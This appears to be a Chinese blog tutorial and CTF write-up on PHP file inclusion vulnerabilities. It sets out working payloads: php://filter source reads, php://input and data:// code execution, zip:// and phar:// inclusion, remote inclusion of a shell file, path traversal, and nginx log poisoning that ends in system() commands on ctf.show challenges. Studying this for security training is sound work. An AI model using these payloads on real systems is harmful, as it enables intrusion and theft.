文件处理漏洞--文件包含

一、什么是文件包含

程序开发人员一般会吧重复使用的函数写道单个文件中,需要使用某个函数时直接调用此文件,无需再次编写,文件调用的过程就是文件包含,所以将包含的文件设置为变量,用来动态调用,但是这种灵活性,导致客户端可以调用一个恶意文件,造成文件包含漏洞

 

通过PHP函数引入文件时,传入的文件名未经过合理验证,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意代码注入。

<?php

  error_reporting(0);

  $file = $_GET["file"];

  include $file;

二、PHP文件包含常用函数

1、include

include()在包含的过程中如果出现错误,只产生警告,并且脚本会继续

2、require

require()在包含的过程中如果出现错误,会生成致命错误,并停止脚本

3、include_once、require_once

如果文件已包含,则不会包含,以避免函数重复定义,变量重新赋值等问题

4、在写法上 include('xx')   ====   include 'xx'

三、文件包含分类

本地文件包含

远程文件包含

allow_url_fopen=on(默认为on):规定是否允许从远程服务器或者网站检索数据

allow_url_include-on(php5.5以后默认为off):规定是否允许include/require远程文件

四、文件包含漏洞利用

1、任意文件读取

当文件包含的文件没有被php标签包裹时,会直接显示包含文件的内容,否子会被先解析为php代码,结果进行输出

 eg:flage.txt  里面是<?php  开头    会解析成php文件

 

直接包含本地php文件,只能得到运行后的结果,如果想要得到具体内容可以利用php中的filter伪协议

将文件编码成base64后输出

php://filter/read=convert.base64-encode/resource=xxx

 

 

 

 

 

 

 

 

 

 

 

将内容进行rot13编码后输出

php://filter/read=string.rot13/resource=xxx

 

2、执行php代码

filter伪协议解析以及其对应过滤器

 

 

 

 

filter支持同时多种过滤器一起使用

 

 

1)、利用input伪协议

php://input可以获取POST的数据流,当与包含函数结合时,php://input流会被当做php文件执行,从而导致任意代码执行

条件:allow_url_fopen=off/on、allow_url_include=on

利用方法:

?file=php://input

[POST DATA] <?php phpinfo(); ?>

 

 

2)、利用data为协议

data://同样类似于php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当做php文件执行。从而导致任意代码执行

条件:allow_url_fopen=on、allow_url_include=on

利用方法:

data://[<MIME-type>][;charset=<encoding>][;base64],<data>

?file=data://text/plain,<?php phpinfo();?>

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 

3)、利用zip为协议

zip://可以访问压缩包里的文件,当与包含函数结合时,zip://流会被当作php文件执行,从而实现任意代码执行

只需要时zip的压缩包即可,后缀名可以任意修改

相同类型的还有zlib://和bzip2://

条件:allow_url_fopen=off/on、allow_url_include=off/on

利用方法

zip://[压缩包绝对路径]#[压缩包内文件]

?file=zip.jpg#phpinfo.txt

4)、利用phar伪协议

phar://有点类似zip://同样可以导致任意代码执行

phar://中相对路径和绝对路径都可以使用

条件:allow_url_fopen=off/on、allow_url_include=off/on

利用方法

?file=phar://shell.phar/a.txt

?file=phar:///var/www/html/shell.phar/a.txt

5)、利用远程文件包含

条件:allow_url_fopen=on、allow_url_include=on

利用方法:?file=http://x.x.x.x/shell.txt

如果包含的远程文件后缀为php,返回的内容是远程执行后的结果,而非本地执行的结果

6)、日志文件包含

概述

是通过插入恶意代码到日志文件来实施攻击,当这些日志被系统其他应用程序解析时,攻击者的恶意数据可能会被执行,这通常利用了不安全的日志处理机制和文件包含的组合

具体攻击步骤看实例三

 

五、文件包含绕过技巧

1、前缀绕过

测试代码如下,其中在根目录下存在flag文件,目的时文件包含

<?php

  $file=$_GET['file'];

  include('/var/www/html'.$file)

?>

使用../../来返回上一目录,被称为目录遍历 eg:?file=../../phpinfo/phpinfo.php

POC:file=../../../../../flag     因为flag在根目录下所以向上四层,到达根目录

2、后缀绕过

测试代码如下,其中在根目录下存在flag文件,目的是读取文件

<?php

  $file=$_GET['file'];

  include($file.'.php');

?>

 poc:

?file=http://x.x.x.x/shell.txt?s=

?file=http://x.x.x.x/shell#

 

 

示例一:

 由图可以看出代码对php进行了过滤替换

1、data伪协议

<?php phpinfo();?>     PD9waHAgcGhwaW5mbygpPz4=

 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

?file=data://text/plain,<?= system("cat flag.???");?>      ?可以进行泛匹配
?file=data://text/plain,<?= system("cat f*");?>                  *可以进行泛匹配
?file=data://text/plain,<?= system("tac f*");?>

 <?php system("cat flag.php");?>     PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAgIik7Pz4=

 

 2、input伪协议

/?file=php://input

<?php phpinfo();?>

 根据源码只是过滤的请求的file,没有过滤body的php   大小写绕过

 <?php system("cat flag.php");?>

 

 

示例二、

由图可以看出代码禁掉了php data

 

 使用input伪协议  对php大小写绕过

 <?= system("tac f*");?>

 示例三、

由下图可知:php,data伪协议和:都被禁了

:被禁意味伪协议无法使用,只能使用日志包含

 

 ?file=/var/log/nginx/access.log   查看访问日志  既然User-Agent被保存到了日志中,那将User-Agent替换为恶意代码

 有图可以看到1111被写入到了日志中

 替换成恶意代码

 

 https://5cf03535-72f3-4e6a-84a5-33842fc98c77.challenge.ctf.show/?file=/var/log/nginx/access.log       post请求

1=system('ls');

 https://5cf03535-72f3-4e6a-84a5-33842fc98c77.challenge.ctf.show/?file=/var/log/nginx/access.log

1=system('tac fl0g.php');

posted @ 2024-04-26 15:13  wizard骑士  阅读(29)  评论(0编辑  收藏  举报